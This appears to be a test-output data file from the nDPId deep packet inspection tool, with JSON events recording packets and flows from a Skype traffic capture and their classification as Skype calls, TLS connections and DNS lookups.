+00434{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":786157,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA02DgAAEARwOTAqAEinTeCmjLdnE0AIDT4eu0C9+f6EdNHv7hYXHZqXAueiqwkwiBF"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":646,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.154","src_port":13021,"dst_port":40013,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":647,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.44","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":786177,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+20MAAEARvT3AqAEiQTffLDLdnFQAKsWAeu8CRodfDjWwQgXB9ThlvK8WB1Z6kJ0K1lKVKQH1\/lgrJA=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":647,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.44","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":648,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.173","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":648,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":786305,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA++5AAAEARZaPAqAEiQAQXrTLdnFEAKkiDevECuUkWpyPJriCjpMdyVTxdl5EcBPkRY6\/lJZGF7hytnA=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":648,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.173","src_port":13021,"dst_port":40017,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":649,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.154","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":649,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":786315,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA\/bcAAEARMcnAqAEi1cezmjLdnFEALEFuevMCLFThLGMqgdMtKoErvKHNoLTdO9PKUomxAAk6+9gobSzp"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":649,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.154","src_port":13021,"dst_port":40017,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00446{"flow_id":67,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":909954,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYgqdN4KwwKgBIpxWyCXC803gcKyPMKASOJCo1gAAAgQFrAQCCApOqL1kPjHFcQEDAwk="} +00435{"flow_id":67,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":910057,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0eB9AAEAG4PLAqAEinTeCsMglnFZwrI8wwvNN4YAQECz\/hAAAAQEICj4xxe1OqL1k"} +00508{"flow_id":67,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":652,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":910605,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"0NQSxnP1PBXCt3IOCABFAABoLuFAAEAGKf3AqAEinTeCsMglnFZwrI8wwvNN4YAYECw4GgAAAQEICj4xxe1OqL1kQDBPNYAQZj8RkGWwccFpRJKeMgR0hR6+94lop5uzmYWORKswp70IIqGKetrWefi+S4Dxbg=="} +00447{"flow_id":59,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":653,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":947419,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89WJAAEAG+sPAqAEinTfrk8ginEEPp73th03onYAYECk74gAAAQEICj4xxhJMYEZOu98xvI+OKgs="} +00433{"flow_id":67,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":654,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":33547,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA08GJAADcGca+dN4KwwKgBIpxWyCXC803hcKyPZIAQAB0PQQAAAQEICk6ovYM+McXt"} +00541{"flow_id":67,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":655,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":36724,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"PBXCt3IO0NQSxnP1CABFAACC8GNAADcGcWCdN4KwwKgBIpxWyCXC803hcKyPZIAYAB0RJQAAAQEICk6ovYQ+McXtHitk1rXbGCBHeHaSSNzGsVxElPEVR\/vbxjlAVuu1ETdC29OeKffCUxNeoarv0xwO52ztOuM4SeafxGVSGxBBflcc3WpT6DkWD3RVgovA"} +00433{"flow_id":67,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":656,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":36808,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0kUFAAEAGx9DAqAEinTeCsMglnFZwrI9kwvNOL4AQECn+ZwAAAQEICj4xxmtOqL2E"} +00445{"flow_id":67,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":657,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":37395,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ry1AAEAGqdzAqAEinTeCsMglnFZwrI9kwvNOL4AYECnUTwAAAQEICj4xxmtOqL2E+DHKQRbsUKg="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":658,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1431970651380,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.147","src_port":51238,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":658,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":380247,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABADJRAAEAG447AqAEinTfrk8gmAbvxz5x7AAAAALAC\/\/+ORwAAAgQFtAEDAwUBAQgKPjHHwQAAAAAEAgAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":659,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1431970651380,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.45","src_port":51239,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":659,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":380427,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA+dJAAEAGXrbAqAEiQTffLcgnAbvOrmZyAAAAALAC\/\/9P1wAAAgQFtAEDAwUBAQgKPjHHwQAAAAAEAgAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":660,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1431970651380,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.45","src_port":51240,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":660,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":380673,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAiTBAAEAGNbPAqAEib91KLcgoAbtIes+yAAAAALAC\/\/\/TJAAAAgQFtAEDAwUBAQgKPjHHwQAAAAAEAgAA"} +00447{"flow_id":60,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":661,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":419881,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FVJAAEAGQzvAqAEiQTffLcgjnEma5hzvzyelXIAYECkbPQAAAQEICj4xx+hNlOiwwc7xhOCNCBA="} +00447{"flow_id":73,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":662,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":444501,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+iadN+uTwKgBIgG7yCZm7uws8c+cfKASOJB\/agAAAgQFrAQCCApMYEfJPjHHwQEDAwk="} +00434{"flow_id":73,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":444624,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0trlAAEAGOXXAqAEinTfrk8gmAbvxz5x8Zu7sLYAQECzWVQAAAQEICj4xyABMYEfJ"} +00534{"flow_id":73,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":444722,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8GglAAEAG1d3AqAEinTfrk8gmAbvxz5x8Zu7sLYAYECz3egAAAQEICj4xyABMYEfJgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAfROXSm5DB\/tecXerTaLmW"} +00435{"flow_id":73,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":508248,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0q\/RAADYGTjqdN+uTwKgBIgG7yCZm7uwt8c+cxIAQAB3mDAAAAQEICkxgR9k+McgA"} +00513{"flow_id":73,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":508361,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsN31AAEAGuHnAqAEinTfrk8gmAbvxz5zEZu7sLYAYECxHEgAAAQEICj4xyD9MYEfZsJPOrYWxbQ2kS5GoHYZTSJUEAhUVjQ9Suc6gMln7jVEiXtQHYU+2Wg9JNG\/SECNBnGag8RNJ4KY="} +00446{"flow_id":74,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":667,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":510876,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGYo1BN98twKgBIgG7yCcCmRcOzq5mc6ASOJDW4gAAAgQFrAQCCApNlOogPjHHwQEDAwk="} +00434{"flow_id":74,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":668,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":510952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA03TJAAEAGe2LAqAEiQTffLcgnAbvOrmZzApkXD4AQECwtjQAAAQEICj4xyEFNlOog"} +00533{"flow_id":74,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":669,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":511041,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8uipAAEAGniLAqAEiQTffLcgnAbvOrmZzApkXD4AYECzRMwAAAQEICj4xyEFNlOoggEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAICP9NUCC0CxLkdMTRpDGKnG"} +00446{"flow_id":67,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":670,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":551168,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA85A1AAEAGdPzAqAEinTeCsMglnFZwrI9kwvNOL4AYECnSUQAAAQEICj4xyGlOqL2E+DHKQRbsUKg="} +00435{"flow_id":74,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":640415,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0\/U9AADYGZUVBN98twKgBIgG7yCcCmRcPzq5mu4AQAB09NAAAAQEICk2U6kA+MchB"} +00521{"flow_id":74,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":672,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":640507,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxjGlAAEAGy+7AqAEiQTffLcgnAbvOrma7ApkXD4AYECx2pQAAAQEICj4xyMJNlOpApvNYMEQS5cpK5u6346cd8BL2N20dvzqenZJMFcn1yRtBVTFQ\/i2ToNXpC7XoSTbRK6UPDCtXBWtUo6jCxA=="} +00446{"flow_id":75,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":673,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":677809,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGyOdv3UotwKgBIgG7yCgNTasLSHrPs6ASOJD34AAAAgQFrAQCCApNh63LPjHHwQEDAwk="} +00434{"flow_id":75,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":674,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":677932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0CgxAAEAGtOPAqAEib91KLcgoAbtIes+zDU2rDIAQECxN5QAAAQEICj4xyOdNh63L"} +00535{"flow_id":75,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":678048,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8RDtAAEAGemzAqAEib91KLcgoAbtIes+zDU2rDIAYECxvCgAAAQEICj4xyOdNh63LgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAID\/pMUye\/ChXrf8PUqzyJn2"} +00450{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":690505,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA20cAAEARG\/LAqAEiwKgBAf3LADUALKDXdTsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00449{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":677,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":690614,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAjPwAAEARaj3AqAEiwKgBAdb0ADUALMTUeDABAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00454{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":678,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":802418,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDLMAAAEARynbAqAEiwKgBAe0QADUAL\/kqxMsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00453{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":679,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":802490,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDFisAAEAR4QvAqAEiwKgBAeUHADUAL+4jvNsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":680,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":850367,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9fnAAAEARsRvAqAEi1cezkjLdgQkAKdgxevUC7H9CpX1vDFjUgifamALKVmn9IG\/Fgz6DNfXKD8OP"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":680,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":681,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.160","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":850367,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/x4wAAEARZ+\/AqAEi1cezoDLdnF4AKxOyevcCGvABkprWeh8EUhOC0BCTnmpfRyuj2xsq6jfI1V+MUC4="} 